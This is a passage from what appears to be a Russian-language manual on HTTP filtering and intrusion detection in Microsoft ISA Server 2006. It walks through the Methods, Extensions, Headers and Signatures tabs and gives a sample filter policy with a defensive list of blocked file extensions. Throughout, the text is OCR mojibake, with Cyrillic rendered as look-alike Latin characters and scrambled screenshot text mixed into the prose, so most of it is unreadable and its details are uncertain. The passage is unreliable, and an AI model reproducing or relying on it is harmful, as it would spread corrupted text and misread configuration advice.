ynpasiatb HTTP-meromamu (cmocoOamu), NMpUMEHSEMbIMU B TpaBWiI€ JOCTYyIA.
[Ipenararorcst Tpu BapuaHTa:
® Ppa3peIIUTh BCE CIIOCOOBI;
® Ppa3peIIUTh TOJBKO YKa3aHHBIE CIIOCOODI;

e OJOKMPOBATh YKa3aHHbBIE CIIOCOOBI (Pa3pelInTh BCE OCTAILHBIE).

2 x|

Obwme MeToaks IPacLumpEHmsl I JaronosKK I MNoanmom I

YHEHMTE AeRcTBKME AnA HT TP-MeToa0E:

IPa3|:|ELIJL-1Tb Bre cnocobibl - I

b
Pa3|:lEL|JP'|Tb TOoNbKO YKasaHHbBIE cnocobbl
EnDKMpDBaTb YESZGHHEIE cnocobbl |:D|33DEL|J|-'1T|: BECE OCTankH|

L

HsMEHHTE, .\

FAAanHTE

0K I OTmeHa [FpHMEHHTE

Puc. 2. Bxnanka «Metoasr (Methods)»

HTTP-meronst — 3tr0 HTTP-komaHabl, KOTOpbIE XOCTHI MOTYT NOCHLIaTh Ha
Web-cepBep nm1s1 BBIOIHEHHUST OmpeneieHHbIX aericTtBuii, Takue kak GET, PUT wu
POST. CyiecTByIOT U JIpyrue€ KOMaHJIbl, C KOTOPHIMH BBl MOXETE ObITh HE3HAKOMBI
KaK aJJMUHUCTPATOP CETH U OpanmMayspa, kK HuM MoxxkHo otHectd HEAD, SEARCH u
CHECKOUT. Ecth ¥ y3KOCHEUHAIU3UPOBAHHBIE METOJbI, IPUMEHSIEMbIC
KOHKpeTHbIMU Web-nipunoxenusmu, Takue kak Outlook Web Access. Bapuant Allow
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all methods (Pa3pemurb Bce MeTOAbI) ITO3BOJIMT pa3pelInTh nenob3oBanne HTTP-
metonoB B HTTP-coequnenuu, ycranasnuBaemom uepes Opanamaysp ISA.

Bapuaut Allow only specified methods (Pa3pemnTs Bce cioco0bI) MO3BOJIAET
yKa3aTh, KAKKME€ UMEHHO METO/IbI pa3peliacTcs epecbuiaTh yepe3 oOpanamaysp ISA.

[Tapamerp Block specified methods (allow all others) (0soxkupoBaTh
YKa3aHHbIe CHOCO0bI, Ppa3pelidTh BCe OCTAJbHbIC) TO3BOJISIET pa3pEIIUTh
IpUMEHEHUE BCEX METOJIOB 32 UCKIIOUEHUEM 3a/IaHHBIX, KOTOPBIE CIEIYET 3alPETUTD.
OTOT BapuUaHT HAJEIISAET MOJb30BaTENsI HECKOIBKO OONBIIMMHU BO3MOXKHOCTSIMU, JTaXe
€CJIM OH HE 3HAEeT BCEX METOJIOB, KOTOPhIE MOTYT MOTPEOOBATHCS CAMTy, HO MOXET
3HATh HEKOTOPBIE U3 TEX, YTO ONPEIAECICHHO HE HYXHBI. OIHUM U3 IPUMEPOB MOXKET
owiTh MeToa POST. Ecnu nons3oBaTessiM He pa3peliaeTcs MochliaTh 1aHHbie Ha Web-
caiiT, HeT cwmbicia pazpemats metoa POST, u ero MoXHO OJOKUPOBATH SBHBIM
obpazom.

Ecnu BwiOpan mapamerp Allow only specified methods (Pa3pemuTs TOJIBKO
yKazaHHble criocoObl) uiau BapuaHT Block specified methods (allow all others)
(O61oKMpOBaTh yKa3aHHBIC CHOCOOBI, pa3pelIuTh BCE OCTaJIbHbIE), HEOOXOIUMO
HIEJKHYTh MbIIIbI0 KHONMKY Add (/{o0aBuTh) M BBECTM METON, KOTOPBIA HYXHO
paspemuTh win 3anpetuTh. [locne Haxkatus kHomku Add ([{o6aButh) Ha sKpaHe

nosiByisieTcst quajgoroBoe okHo Method (Meton).

21X
OEue MeToae I PacumperAa I SaronoBrM I Moanca I
YREMHMTE AefcTEN:e ana HT TP-meToaos:
IEJ‘IDICMDDBEITI: yKasaHHeIE nocobel (paspeluTe Sce ocTa vI
Biricron 2. |

YicamaaTe H P-reTon: I
MeTon: |
MeTon yumTeeaeT permctp. Hanpumep: POST _I

OnucanHue
(HeoSRIaTENEHO):

L] I OTrmeHa I

L] I OTMeHa I MpriMerTE I

Puc. 3. lnanoroBoe okHO «MeToma»
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B mumanoroBom oxne Method (Meton) BBoaUTCS UMS METOJIa B OJHOMMEHHOE
TEKCTOBOE Tosie. MOXHO Takke A00aBUTh ONMCAaHUE METO/a B TEKCTOBOE IOJIE
Description (Onucanue). OHO TOMOXET 3aIIOMHHUTH, YTO JEJIaeT METOJI, a TAK)KE OKa-
KET TOMOIIb NPHIICAIIEMYy BaM Ha CMEHY CHCIHAINCTY, CTOJIKHYBIIEMYCS C
HEO0OXOIUMOCTBIO yHpaBiieHus OpaHaMay’poM ISA u He 3HawIIeMy BHYTPEHHEU
CTpyKTypsl Habopa koman HTTP-nporokomna.

Bxiaaaka Extensions

Ha Briianke Extensions (Pacmvpenus) mpeacTaBieHbl CleIyonue BapuaHThl:

e Allow all extensions (Pa3pemuTs Bce paciiupenus);

e Allow only specified extensions (Pa3pemuTs TOJIBKO yKa3aHHBIC
paciupeHus);

e Block specified extensions (allow all others) (bmokupoBats Bce
yKa3aHHbIE PaCIIUPEHUS, Pa3pEIIUTh BCE OCTaIbHbBIC);

e Block requests containing ambiguous extensions (brokupoBath 3ampochi,

coJiepKalire HeOJHO3HAYHBIC PACIIMPEHNS)
x|

Obwme I MeToas Paouupedna I33ronosm-1 I Moanwuaa I

YHEMMTE ASACTEMA ANA DaECWUKMPeHi hainoe:

IPEBDELIJMTI:- BCE pPaclUMpeEHna - |

PaspewmTe TONbKO YKa3aHHbIE DaClUMpEHMA
BnokMpoBaTe BCE YKa3aHHBIE paclukMpeHa (paspeLu

1 AoGaEHTE, .. |
EMEHNTE. .\ |

P AanHTE

I BnokmMpoBaTh 3anpocbl, Co4epRalle HeEoAHOZHAYHbBIE PacuMpeHa

R I OTHMEHa I MpHMeHHMTE I

Puc. 4. Bxnagka «Pacmmpenus (Extensions)y
[IpenocTaBiseTcss BO3MOXHOCTh YIPABJISITh paCIIUPEHUsIMU (HailJIoB, KOTOPHIC
MOXHO 3alpamuBaTth udepe3 OpanaMaylsp ISA. DTo kpaliHe MOJE3HO, €CIM HYXKHO
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3alpeTUTh I[OJIb30BATENSIM  3ampochl  (DalijIOB  ONpPENENICHHBIX THUIOB  Yepe3
OpannMay’p. Hampumep, MOXHO 3ampeTUTh TMOJB30BATENsAM JIOCTYH  4Yepes3
OpanaMayap ISA k daitnam ¢ pacIMpeHUsIMH .€Xe, .Com, .Zip U JTFOOBIMH JIPYTUMHU.

Bapuantr Allow all extensions (Pa3pemmTs BCe pacmuMpeHusi) IO3BOJIET
HACTPOUTh TPABWIJIO JOCTyHa WM MpaBwio myonukanuu Web-cepBepa uis
paspelieHusi JoCTyrna TOJdb30BaTeNel, OCHOBAHHOTO Ha pacimupeHuu (Qaiina, K
daitnam oboro tuna yepes Opanamaysp ISA. Beiopas Bapuant Allow only specified
extensions (PaspemnTh TOJNIBKO YyKa3aHHbIE paclIMpeHHMsi), MOXXHO 3a/aTh
oTpesieNieHHbIe paciIMpeHus (PaiiyioB, K KOTOPBIM BO3MOXEH JOCTYI MOJIb30BaTENICH
yepe3 Opannmaysp ISA. Bapumant Block specified extensions (allow all others)
(biokupoBaTh Bece YyKa3aHHble pacHIMpPeHHs, Pa3pellNTh BcCe OCTAJbHbIE)
MPEIOCTABIISET BO3MOKHOCTD 3alPETUTh 3aJaHHbIC pacIupeHus (HanaoB, KOTOPHIC BbI
CUUTAETE OMACHBIMHU.

Ecnu Bb1Opan BapuanT Allow only specified extensions (3anpeTutb yka3aHHbIE
pacuipeHus, pa3penuTth Bce octanbHbie) wiHk Block specified extensions (allow all
others) (bnokupoBaTh BCE€ YKa3aHHbBIE PACIIMPEHUS, Pa3PEIIUTh BCE OCTAJIbHBIE),
HE00XOAMMO WHIENKHYTh MbIIbI0 KHONKY Add (o6GaBuThb) M BBECTHM paclIdpeHus,
KOTOpBIE BBl XOTUTE Pa3pelUTh UM 3alIPETUTb.

[locne naxatus wmbibio KHONKA Add (JJoOGaBuTh) Ha »KpaHe NOSBUTCA
nuanoroBoe okHO Extension (Pacumupenue). Beeaure pacimmpenre B TEKCTOBOE TMOJIE
Extension (Pacmmpenue). Hanpumep, ecnu ciemyeT 3anpeTuTh JOCTYI K (aiimam c
pacmMpeHreM .exe, BBeAuTe .exe. ECTh BO3MOXXHOCTH BBECTH OIKCAaHUE B
Heobs13aTebHOe TeKcToBoe Tosie Description (optional) (Onucanue, HeoOA3aTENBHO).

[enxkuure Mpibio kHONKY OK a1 coxpaneHnust 100aBIEHHOTO PACIIUPEHHUS.
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21|
Obwme I MeToaer FPadauupeHus IBEronoEm_M I Moaraa I

YHEWMMTE ASHMCTEMA ANA PacluMpeHia hainos:

IEHDK_MDDBEITI: ECE YKa3ISHHEIE pacwmpeHna (pasp vI

Bracumpeme x|

Y¥i@aETe pacuMpeHne:

Pacumperne: I

Mpumep: exe

Crmacanme
(HeoORsaTensHo):

[T BnoxmpoBaThe Sanpockhl, COAEQMALLME HEOAHOSHEYHEIE PACLUMDEHIMA

Ok I OTMeHa I MAprMeHTE I

Puc. 5. lmanoroBoe okHo «Pacmmpenue (Extension)»
Braaaka Headers
Ha Bxnanke Headers (3aroioBku) mpeicTaBieHbl CIEIYIONINE TapaMeTphI:
e Allow all headers except the following (Pa3pemuTs Bce 3aroyioBKH,
KPOME CJICIYIOIINX);
e Server header (3arosmoBok ceppepa);

e Via header (3aromnosok VIA).
1

O6uwme I MeToasl I PacluvpeHia Jaronoskm Il'lcnnucu I

PaspewmTe BCE 3aronoBKK, KPOME CNed yHOLLMX:

Saronosok | Mowrck B | NobaerTe. .. |
ISMEHHTE. .. |
FAanHTE |

— 3aronoEoK CEpEEpa

IOTI‘IDEBMTI:- MCXOOHEIA SaronosoK vI

HEMeHMTE Ha: I

—3aronosok VIA

IOTI‘IDEIEEHTb SaronoBoK Mo YMond4aHKMeD vI

KsMerTE Ha: I

oK I OTMeHa I FEHHMEHHTE I

Puc. 6. Brimaaka «3aronosku (Headers)»
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HTTP-3aronoBok  comepxkut  xapaktepuyto i1 HTTP-coobmenus
uHpopmaimio, koropas Bkiatouaercss B HTTP-3anpocel, cnenannsie Web-kinentom
(takum kak Web-o0o3peBarens), u HTTP-orBeTs, mocwumaembie Web-cepBepom
oOpatHo Web-kiueHTy. DTH 3arojioBKM BBIMOJIHSIIOT MHOTOYHCIECHHBIE (YHKIUH,
Takue Kak omnpenesieHue craryca u coctosHus HTTP-komMyHukaumii v JIpyrux
xapakrepuctuk HTTP-ceanca cBa3mu.

K o6uum HTTP-3aronoBkaM OTHOCATCS CIIEIYIOIINE:

e pasmep coaepxkumoro (Content-length);

e nupektuBa (Pragma);

e mnoib3oBarenb-areHT (User-Agent);

e mpuHATOE KoaupoBanue (Accept-Encoding).

Moxno npunumMare Bce HTTP-3aronoBku wunm 3anpeTutb KOHKPETHBIE,
3agannple  HTTP-3aronoBku. CymectByror onpenenennbie  HTTP-3aronosku,
KOTOPBIE PEKOMEHIyeTCsl OJIOKMPOBATh BCEr/a, HapuMep Takue, Kak 3arojioBok P2P-
Agent, ucnosb3yemblii MHOTMMHU OJHOPAHTOBBIMH (peer-t0-peer) MpHIIOKEHUSMHU.
Ecan nyxHO 3anpetuth KOHKpeTHbI HTTP-3aronoBok, MENKHUTE MBIIIBIO KHOIIKY
Add (lo6aBuTh).

B nuanoroBom okxne Header (3arosioBok) BeiOepuTe BapuaHT Request headers
(3aronoBku 3ampocoB) uiu BapuaHT Response headers (3aromoBku OTBETOB) B
packpsiBatoieMcs crircke Search in (Mckate B). BBegute HTTP-3aronoBok, KoTopbiii
BBl XOTHUTE 3anpeTuth, B TekcToBoe nojie HTTP header (HTTP-3aronoBok). lenkuute

MblIiIbI0 KHOTIKY OK.
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2]
Obwe I MeToas! I PaouvpeHra SaronoBKK II'Ion.nMcw I
PaspewmTe BCE 3aronoBKK, KPOME CNEen yHILLMX:
JaronosoK | Movck B | NobaeuTe. .. |
|
YKEHMTE DNoKMpyeMEld 3aronosok HTTP: J
Dok B: I3arnnu:us|c.m ZEMNpOoCos "'I
Saronosok HTTP: I [
(8], I OTMeHa I
IOTnpaBMTb 33ronoB0oK No YMONHYaHWKD "I
HZMEHKMTE Ha: I
oK I OTHMEHS | MEHMEHHTE

Puc.7. JIlmanoroBoe OKHO «3arojIOBOK»

MoOXHO HaCTpPOWTH 3aroJIOBOK cepBepa, Bo3Bpamaembeii B HTTP-orBerax,
BbIOpaB BapuaHT Server Header (3arosioBok cepBepa) B pacKpbIBAIOLIEMCS CIIHCKE.
3aronoBok cepepa — 310 HTTP-3aronoBok, mocsuiaeMeiii Web-cepepoMm o0paTtHO
Web-kmuenty u uHGOpMupYrOHIHA TocieaHero o tumne Web-cepBepa, ¢ KOTOPBIM
COEUHSETCS KIIMEHT. 3I0YMBIIIJICHHUKH MOTYT HCIIOJIb30BaTh 3Ty MH(OPMALIUIO JJIs
ataku Web-cepBepa. IMmerotcs ciienyroiire BO3MOKHOCTH:

® OTIIPaBUTH UCXOJHBII 3ar0JIOBOK;
® BBIPE3aTh 3ar0JOBOK U3 OTBETA;
® U3MEHUTH 3ar0JIOBOK B OTBETE.

Bapuant Send original header (OTnpaBuUTh WCXOAHBIH 3aroJI0BOK)
MO3BOJIAET TepelaTh HEU3MEHEHHBIM 3arojloBOK, TMociaHHbli  Web-cepBepom.
Bapuant Strip header from response (Bbipe3aTs 3aroJioBOK U3 0TBETA) pa3peliacT
Opannmayaspy ISA yOpath 3arosioBok cepsepa, a Bapuant Modify header in response
(M3MeHMTBb 3aroJIOBOK B OTBeTe) IO3BOJIIET M3MEHUTh 3aroyioBok. Cremyer

M3MEHSTH 3aroJIOBOK, YTOOBI 3aITyTaTh 3710yMBINIIEHHUKOB. [Tockonbky Web-kinneHTb
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He TpeOYIOT 3TOT 3arojloBOK, MO>KHO M3MeHHUTh ero Ha Private, CompanyName uiau
JPyroe MOHPAaBUBLIEECS BaM UMs.

[lepeunciieHHbIE BapHaHThl OMOTYT MOMENIATh 3J0YMBIIUIEHHUKAaM (WJIH, 1O
KpaiilHel Mepe, 3aaepxaTh HX). MM mnpuaercs noTpaTuTh OONbIIE YCWIHA U
UCIOJIb30BaTh AJBTEPHATUBHBIE METOJABI JUIsI MPOCMOTpPa HAECHTU(UKALMOHHON

uHpopmanuu («fingerprint») Bamero Web-cepsepa.

2]

Obuwme I MeToabl I PacluvpeHaA SaronoBKK Il'lannucu I

PaspewnTe BCE 3aronoBkKK, KPOME Cnef yHOLWMX:

SaronosoK | Monck B | DobaenTe... |
HsMEHHTE, .\ |

HAENHTE

— SaronoBoK CEpEEpa

BripesaTe 3aronoBoK M3 OTESTA
HM3MEHKMTE 3aroNoE0K B OTEETE

—3aronosor VIA

IOTI'IDEIEFMTb 3aronoBoK No YMONY4aHHMED "I

KaMeHKMTb Ha: I

oK I OTMEHS I MEHMEHHTE I

Puc.8. TTapameTtp «3aronoBok cepsepa (Server Header)»

[Tapamerp Via Header (MapiipyTHbiii 3arojioBOK) TMO3BOJSET YHPABIAThH
MapIIpyTHBIM 3arojIOBKOM, MockuiaeMbiM Web-knuenty. Ecnu Mexay KiIueHTOM U
Web-cepBepom pacnonararotcsi cepBepbl Web-mpokcu, To cepBep Web-mpokcu
BCTaBJIIET MapIpyTHbINA 3arosioBok B HTTP-coobmienune, nupopmMupyromuii KimeHTa
0 TOM, 4TO 3ampoc Obul oOpaboTaH cepBepoM Web-TIpOKCH B IPOIECCe IEepeIadn.
Kaxnpiii ceppep Web-nipokcu Ha TyTH 3ampoca MOXKET J00aBUTh CBOM COOCTBEHHBIN
MapUIPyTHBIM 3arojOBOK, U KaXIbIH OTIpaBUTEIb Ha MYTH CIEJOBaHUS OTBETA
yAaJseT CBOW MapLIPYTHBIM 3ar0JIOBOK U IIEPECHUIAET OTBET HA CEPBEP, 3aJaHHBIN B
CJIEYIOLIEM MapIIPYTHOM 3arojIOBKE, XpaHAIIEMCA B «CTEKe» MaplIPyTHBIX

3aroJIOBKOB. HapaMeTpLI MapmpyTHOTO 3arojioBKa IIO3BOJIAOT HW3MCHUTL WM
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Opanamayspa ISA, BKIIOUEeHHOE B €ro COOCTBEHHBINH MapUIPYTHBINA 3arojOBOK, WJIH
CKPBITh 3TO MMs. Y CTaHOBKa IO yMOJYaHMIO Ha OpaHamayspe ISA — BkimouyaTh UM
KOMIIBIOTEPA, Ha KOTOPOM pa3MeIIeH OpaHaMaydp, B MapIIPYTHBIHN 3aroJI0BOK.
NmeroTest 1Ba BO3MOKHBIX BApPUAHTA:

® [I0CJIATh 3ar0JIOBOK, YCTAHOBJICHHBIN 110 YMOJIYaHUIO;

® M3MEHHUTH 3ar0JIOBOK B 3aIIPOCE U OTBETE.

Bapuant Send default header (OTnpaBHUTH 3ar0J10BOK, YCTAHOBJICHHBIH 110
YMOJTYAHUI0) OCTABIISICT MapUIPYTHBIN 3aroioBok 0e3 m3MeHeHuil. Bapuant Modify
header in request and response (M3MeHHTH 3aroJIOBOK B 3alpoce W OTBETe)
MO3BOJISIET U3MEHHUTh WUMsI, BKIIOYEHHOE B MApIUPYTHBINA 3arojOBOK, BCTaBJISEMBbII
BauM OpanamayspoMm ISA. CoBeTyeM U3MEHSTh €ro, YTOOBI CKPBITh IEHCTBUTEIILHOE
uMa Bamero Opanamayspa ISA u TeM cambiM NOMEIIATh 3J0YMBIILIEHHUKAM
ONpENENUTh HACTOAIIEE UMSI KOMITbIOTEPA Balero Opanamayspa [SA.

Beenure apyroil MapmipyTHbI 3aroiioBok B TekctoBoe mnoine Change To
(3ameHHTD HA).

Bxkuaaka Signatures

Ha Bxmanke Signatures (Iloamucu) MOXKHO yHOpaBisTh JIOCTYNIOM 4Yepe3
opanamayasp ISA ¢ nomomisto HTTP-curnaryp uinv noanuceit, Co31aHHBIX BaMU. JTH
CUTHAaTypbl NPEICTaBISIIOT CcOOOM  CTPOKHM, coJep)Kaluecss B CIEAYIOLIUX
komroHeHTax HTTP-coobienus:

e URL-aapece 3amnpoca;
® 3aroJIOBKE 3aIpoca;

® TEKCTE 3aIpoca;

® 3aroJOBKE OTBETA;

® TCKCTC OTBCTA.
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HacT pouT b nonaTaky HTTP ana npasana e

Obwme I MeToabl I PacumpeHus I Saronoski  Moanuaa I

ENoKMpoBaTE COOEPMKHMMOS, COAEPMELLEE AaHHBIE MOAMHCH:

Mra | OnucaHue |

HsHEHHTE . |

FAENHTE
I OTofipamaTs TONLKO BKIKOYEHHLIE CTPOKK MNOMOKE
=
=
QK I CTmeHa I [[MEHMEHHTE I

Puc. 9. Briaaka «[Togmucu (Signatures)»

[TomyunTts gocTynm K AuanoroBoMmy OKHY Signatures (CUTHATYypbl) MOXHO,

eNKHYB MBIIBI0 KHOTIKY Add (Jlo6aBuTh).

20 x|
noames =

YWKIHMTE MMA ANA A3HHOM S MNoOMOKa NoArmack:

IrA: ||

OnUcarre
{(HeobAasaTensHO):

—HKpuTepuil NnomMcka Nnoanmceil

Oowck B5: Il_lRL—an.pec sanpoca ;I

Saronosok HT TR I

YrIEHHTE GNoKMpYeMyD MoAMNHcE ! |

Moanuce: I =

OuanasoH baliTos DopMaT

oT: I 1 = Tekcr
Oo:

100 ) AscHUHEIA

L I OTMena I

QK | OTHMeHE | FEHHEHHTE

Puc.10. Jlnanorosoe okHo «Iloamucsk (Signature)»
B naumanoroBom okxHe Signature (CurHarypa) BBEAUTE HMS CHUTHATYpPhl B

TtekctoBoe nosnie Name (MMs) u onmcanue curHatypsl B TeKCcToBoe mojie Description
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(Onucanme). Tlocmennee 0cOOCHHO TOJIE3HO IS TOTO, YTOOBI 3HATH O HA3HAYCHUHU U
CMBICII€ 3TOM CUTHATYPHI.

B packpeiBaromemcs crimcke Search in (Ilouck B) ykaxute, Te Opanamayspy
ISA uckath 3a7aHHYIO CTPOKY. BO3MOXHBI ClIeAYIOIINE BApUAHTHI:

e Request URL (URL-aapec 3ampoca). BeiOop 3T0oro Bapuanta mo3BOJISET
BBECTH CTpPOKYy, oOHapyxeHue kotopoit B URL-ampece 3ampoca Web-
KJIMEHTa BBI30BET OJIOKMpOBaHWE coenuHeHMs. Hampumep, eciu HYKHO
NpEeIOTBPaTUTh JIIOObIE 3alpochl K calTaM, COJEpXKallUM CTPOKY
“Kazaa” B URL-agpece, BkiItoueHHOM B 3anpoc Web-KiiMeHTa, BBEAUTE
“Kazaa” B TekcToBoe mnoJie Signature (IToamucs).

e Request headers (3aronoBku 3ampoca). Ilpu BeIOOpe 3TOrO BapuaHTa
BBC/INTE B
tekctoBoe nosie HTTP header (3aronoBok HTTP) xoukpernsiii HTTP-
3aroJIOBOK, KOTOPBIN JTOJKEH MPOoBepsTh Opanamayasp [SA, u B TekcToBOE
nojie Signature — CTPOKY B 3arojioBKe, KOTOPYIO HEOOXOAUMO
osokupoBaTh. Hanpumep, eciu HEOOXOAMMO OJOKHPOBATH MPHIIOKEHUS
P2P (ogHopanroBeie) daiinoodmeHHo# cetu eDonkey, MOkHO BbIOpaTh
ATOT BapuaHT, a 3areM User-Agent (Ilosb30oBaTenb-areHT) B TEKCTOBOM
noine HTTP header. [anee B TexcroBoe moisie Signature (Iloamwmcs)
BeeauTe ed2k. OOpaTtuTe BHHUMaHUE Ha TO, YTO OTOT BapHUAHT
nmpenocTaBisieT  Oojee  TOHKOE — yNpaBlieHWe, YeM Ha  BKIIAJKE
Headers (3aromoBku), — mpocTtas OJOKHMpOBKa 3aroyioBkoB. Ecmu
3aMpeTuTh KOHKPETHBIN 3aroyioBoK Ha Bkiaake Headers (3aronoBku), TO
oynyTt 6mokupoBathcsi Bce HTTP-cooOmienus, ucmomb3yronue 3aaaHHbId
3arojoBok. Co37aB CHUTHATYpy, BCTPOCHHYIO B YKa3aHHBIM 3arojioBOK,
MOXHO pa3pelIuTh OSTOT 3aroJIOBOK BO BCEX COOOIIEHUAX, HE
coJiepKalluX CTPOKY, KOTOpasi BBEJCHA KaK CUTHATYpA.

e Request body (TekcT 3anpoca). Moxno 61okupoBat HTTP-coo6iienus,
OCHOBBIBasCh Ha Telie Web-3ampoca, mHpoOpManuu, He BXOIAINIECH HU B
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HTTP-kxomanasl, Hu B 3aronoBku. HecmoTpst Ha TO, 4TO 3TO OYEHb
MoIIHas (YHKIMOHAIbHAS BO3MOXKHOCTh, OHAa MOXKET TMOTPEOIATh
O0JBITION 00BEM PEeCypCcoB Ha KommbioTepe Opanamayspa ISA. Tlo sroit
MPUYHUHE CIICTYET OMPEICIUTh JWANa30H MPOBEPSIEMBIX OpaHIMay’pOM
ISA 6aiitoB B TekcToBbIX nojsix From (Ot) u To (o) B o0nacTu BKIaaku

Byte range ([{nana3on, B Oaiitax).

e Response headers (3aronoBku orBeToB). Eciu BbIOpaH 3TOT BapuUaHT, TO

BBOAUTCA  KOHKpeTHbli  HTTP-3aromoBok,  KoTOpeIM  cieayer
OsoxkupoBaTh, ocHOBbIBascb Ha HTTP-orBere, Bo3BpamenHom Web-
cepBepoM. BBenure »ToT 3aronoBok B TekctoBoe mosie HTTP header, a

CTpOKy, BkItoueHHY0 B HTTP-3aronoBok, — B TekcTOBOE MoJie Signature.

e Response body (Tekct oTBera). ITOT BapuaHT (PYHKIIMOHHPYET TaK K€,

kak BapuaHT Request body (Tekct 3ampoca), 3a UCKIIOYEHHUEM TOTO, YTO
OH MPHUMEHSETCS K COAEPKMMOMY, Bo3BpamaemMomy Web-KiIueHTy c
Web-cepBepa. Hanpumep, ecim HyXHO OjokupoBaTh Web-cTpaHuIbI,
coJieprKalire KOHKPETHbIE CTPOKU, KOTOPBIE OMPEAETAIOTCS KaK OMacHble
WTA HETIOAXOAIIUE, MOXKHO CO3/IaTh CUTHATYPY AJIsI OJOKUPOBAHUS ITHX
cTpok. Bcnomuute 00 3TOM, y3HaB 0 HoBeillied Web-opueHTupoBaHHOK
aTake, W  CO3JaiitTe  CcUrHatypy, OJOKUPYIOUIYIO  COEIUHEHHUS,
OpraHU3YIOIIUE TTOJOOHBIE aTaKH.

Tabmuua 2. [Ipumep nomutuku HTTPS-punsTpa

Bxnaaka

[TapameTp

General (O06mue) e MakcumanbHas IUTHA

3aroyioBka — 32768

e VYCTaHOBIICH braxxok
«Pazpemiath 100y  JUIMHY
MTOJIC3HBIX JaHBIX)

e MaxkcumanbHas mmHa URL-
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anpeca — 260

e MakcumanpHas JJIWHA 3ampoca
— 4096

e VYcCTaHOBIEH ¢axxox
«[IpoBepsITh HOPMAITU3AITUIOY

e (COporieH bnaxox
«brokupoBathb CHUMBOJTBI

pacmpeHHoro Habopa

Methods (Metompi) e PazpemuTh TOJBKO YKa3aHHBIC

CITOCOOBI

GET
HEAD

POST

Extensions (Pacmupenwst) e biokupoBaTh BCe yKa3aHHBIC
pacIIupeHus, paspeInTh
OCTaJIbHBIE

.exe, .bat, .cmd, .com, .htw, .ida,
idq, .htr, .idc, .shtm, .shtml,

.stm, .printer, .ini, .log, .pol, .dat

Headers (3aronoBkn) Hukakyux M3MEHEHHH 110 CPaBHEHUIO C

YCTaHOBKAaMHU 110 YMOJIYaHUIO

Signatures (IToamucu) (Request URL, | biokuposats COJZIEPIKUMOE,
URL-anpec 3ampoca) COJIepIKalllee dTU CUTHATYPHI:
A
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JlonoJHUTEILHAA NMOJUTHKA 0€30I1aCHOCTH
O0OHapy:xeHue U peIOTBPALIIeHHE TUIIOBBIX aTAK
[TosnyunTs AOCTYM K AUANOroBoMy OKHY « OOHapyKeHHe BTOP>KEHHUI» MOXKHO,
OTKpBIB KOHCOJIb yrpasienuss Microsoft Internet Security and Acceleration Server
2006, PaCKpPbIB OKHO, CBA3aHHOC C HMCHCM CCPBCpA, 4 3aTCM PACKPLBIB Y3CI

«Kondurypamnusay». lllenkaure kHonkoi y3en «O0mume».

B Microsoft Internet Security and Acceleration Server 2006

=181x]
Koncone [Oeiictene Bua Cnpaska
& = | |2 6| A
5 Microsoft Internet Security and . i‘,cmh. A
% ;11pennpnntne Ancter et EE C mrm CepBep XpaHwmiLa HACT poek: user-9e55b268el Obume
Maccusbt 2 on BB
£1-4g user-9e55b268e1
£ Habnropenne /m /ﬁ
L4 NMonnTnka mexxceTeso
> BupTyanbHbie 4acTHbl 06 -
= uee
=35 Kondmrypauus An CTPUPC ISA Server
HH Cepseptt T aAaAMUHUCTPpUpOBaAHUE
C @ = . g 2

% K:"' f% Hasnauenme anmanucTpaTisHeix ponesi | ng:ﬁf:égfazi%Z:ZTpm e MNapameTpbl Ha AaHHO CTPaHuLUe

i - . . MOXHO MCMONb308aTh AN

o lancT poiikin HacTpoiku obumx

B i_j HacTpoiiTe nocneaosaTensHoe @ YKakUTE NapaMeTpbl yaAaneHHoro a,ui';pnucrpamsnblx napameTpos,

© coenvHeHne MEXCETEBLIX IKDHOB aoctyna rno6ansHbix HTTP-NapamMeTpos
[ONONHUTENBHEIX NapaMeTpos
_4;;» ViakuTe cepsepbi LDAP 1 RADIUS BesonacHocT.

Onucannsa onepaywi:
O6ume napamerTpbl HTTP-nonuTukn

@ Hasnaunts

P> HacTpoitTe rnobanbHoe NpeobpasosaHmre Pt ViamuTe NApaMeTPLl OT3bIEa  aQMMHMCTpaTHBHBbIE pOnK
=5 cooinok % cepTudmkaTos N @ Hacrpouts
b nocneposarensHoe
= fKaK coegnHeEHHE MEXCETEBbIX
%& OnpeaenuTe napaMeTpsl okaTia HTTP Yienarre napaserpel o
NPMOPUTUSMPOBAHHBIX CNYXG U skpaHos
@ Hacrpowurs napamerpsi
KANEHTa MEXCEeTEBOro —
NononHuTenbHas nonuTuka 6ezonacHocru __ 3xpana
@ Onpepenwts RADIUS-
[e= BKIO4MTE 06HapyKeHe BTOPKEHM 1 2, HacTpoiiTe napameTpel S s L
obHapyxeHue DNS-aTak &ﬁ npeaoTspalleHna Flood-aTakn

@) Onpepenwnts LDAP-cepsepbi
@ Hacrpowuts asToMaTHueckoe

i}a OnpeaenuTe HaCTPOIKY 3aWmnTel IP nogknoYeHne

@ Hacrpowrs
npeobpasoBanmne cCbNOK

@ Hacrpownts Oxarne HTTP

@ Buibpats napameTpbi
oTsmiBa cepTudmkaros

@ Hacrpowts napamerpsbi
NPHOPHTHINPOBAHHbIX
cnyxwb

= | | LI @ Hacrpownrs

noenorspawenne Flood- ~1

B y3ne «OOmme» IMIETKHUTE KHONKOM MBIIIM CCBUIKY «BKIIOUHUTH
oOHapyxeHHe BTOp)KeHHMH W oOHapyxeHue DNS-arak». Ha skpane mnosBUTCS
BKJIaaKa «PacnpocTpaHEeHHbBIE aTaKny.

Ha Briagke «PacmpocTpaHeHHBbIE aTakuy yCTaHOBUTE (Iakok «BkiounTthb
oOHapy)XeHHE BTOPKEHUW». YCTaHOBUTE (hIa)KKH, PACIOJIOKEHHBIE ClIeBa OT TeX

THUIIOB aTaK, KOTOPbIC HCO6XOI[I/IMO npeaoTrBpamarhb. Ecnu BkiIrouaeTcs atraka Tumna
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«CkaHMpOBaHKE IOPTOBY», BBEIUTE 3HAUCHUS B 1oyl « CTaHIapTHRIE MOPTHI» U «Bce
HOPTHD»

MOXXHO  OTKJIFOUMTh  PETUCTPALMIO  TIAKETOB, OTBEPTHYTHIX  (QUIBTPOM
OOHapy>KeHHsT BTOpXKEHUs, cOpocuB Quaxok «PeructpupoBarb OTOpOILICHHBIC
MaKeTbD».

ATaKu 0TKA30B 0T 00C/IyKUBAHUS

Araku oTka3oB ot obciyxuBanus (Denial-of-service, DoS-ataka) ocobeHHO
NOMYJIAPHBI Y WHTEPHET-XaKepOB, CTPEMSIIUXCS HAPYUIUTh CETEBbIC OIEpallUH.
XOTsI 3TU aTaKu HE pa3pylIaloT U HE KpaayT JMaHHBIC, KaK Jeal0T HEKOTOPHIC aTaku
